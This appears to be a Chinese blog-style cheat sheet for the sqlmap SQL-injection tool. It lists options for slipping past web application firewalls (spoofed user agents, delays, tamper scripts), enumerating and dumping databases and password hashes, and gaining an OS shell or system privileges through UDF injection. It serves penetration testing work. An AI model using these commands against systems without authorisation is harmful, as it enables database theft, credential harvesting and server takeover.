SQLmap常用命令
使用sqlmap扫描时,HTTP头部字段:useragent包含sqlmap等敏感字符可能会被waf拦截;
可以采用模拟搜索引擎访问:
--user-agent="搜索引擎http头" //自定义UserAgent,防止CC流量拦截
--delay 1 //设置延迟时间
--safe-freq 3 //请求延迟
绕过一些waf可以使用sqlmap自带的一些插件,在sqlmap\sqlmap-1.5\tamper目录下可看见
sqlmap -u "url" --tamper=插件名称
若觉得有问题需分析可以使用参数设置代理 ,brup抓包进行分析
--proxy=http://127.0.0.1:8080/
常见一些SQLmap参数:
-p //可指定测试参数,包括http头部如:x-forwarded-for等头部测试参数注入
-u //url
-r path //txt路径(无需设置cookie,post参数等等)
-- data "id=1" //post参数指定
-f //指纹判别数据库类型
-b //数据库版本信息
-d "mysql://root:root@ip:3306/dnname" //直连数据库
--dbs //获取数据库名
--tables //获取表名
--columns //获取列名
--dump //拖库数据
--users //列出数据库所有用户
--passwords //数据库所有用户密码
-U //指定数据库用户
--privileges //--privileges -U root查看用户权限
--privileges //查看权限
--dump -T "" -D "" -C "" //列出指定数据库的指定表的指定列数据
-D "" //指定数据库名
-T "" //指定表名
-C "" //指定字段
--dump-all //列出所有数据库所有表
一些其他重要参数:
-s "" //保存注入过程到一个文件,可中断下次恢复继续注入 保存(-s "xxx.log") 恢复(-s "xx.log" --resume)
--level=(1-5) //测试水平等级,默认为1, 2级会测试cookie,3级还会测试HTTP User-Agent/Referer
--risk=(0-3) //测试执行的发现等级,默认为1
--os //探测数据库服务器系统
--random-agent //随机使用字典内的useragent,以防被拦截http头部useragent字段
--user-agent //自定义UserAgent,防止CC流量拦截
--os-cmd,--os-shell //执行系统命令
--time-sec=(2,5) //延时响应,默认5
--dbms //指定数据库:MySQL,Oracle,PostgreSQL,Microsoft SQLServer,Microsoft Access等等
--is-dba //是否是数据库管理员
--roles //枚举数据库用户角色
--batch //自动选择默认选项
使用technique参数会更方便:
--technique = TECH // 要使用的 SQL 注入技术(默认为“BEUSTQ”)
B:布尔型SQL盲注(布尔型注入)
E: Error-based SQL injection(报错型注入)
U:UNION查询SQL注入(可联合查询注入)
S:堆叠查询SQL注入(可多语句查询注入)
T:基于时间的SQL盲注(基于时间延迟注入)
Q:inline_query SQL injection(内联注入)
显示信息的参数:
-v //(0-6) 默认0:只显示python回溯,错误和关键消息
1:显示信息和警告信息
2:显示调试信息
3:有效载荷注入
4:显示HTTP请求
5:显示HTTP响应头
6:显示HTTP响应页面内容
我一般少用但知道的参数:
--udf-inject //导入用户自定义函数(获取系统权限)
--union-check //是否支持union注入
--union-cols //union查询表记录
--union-use //采用union注入
浙公网安备 33010602011771号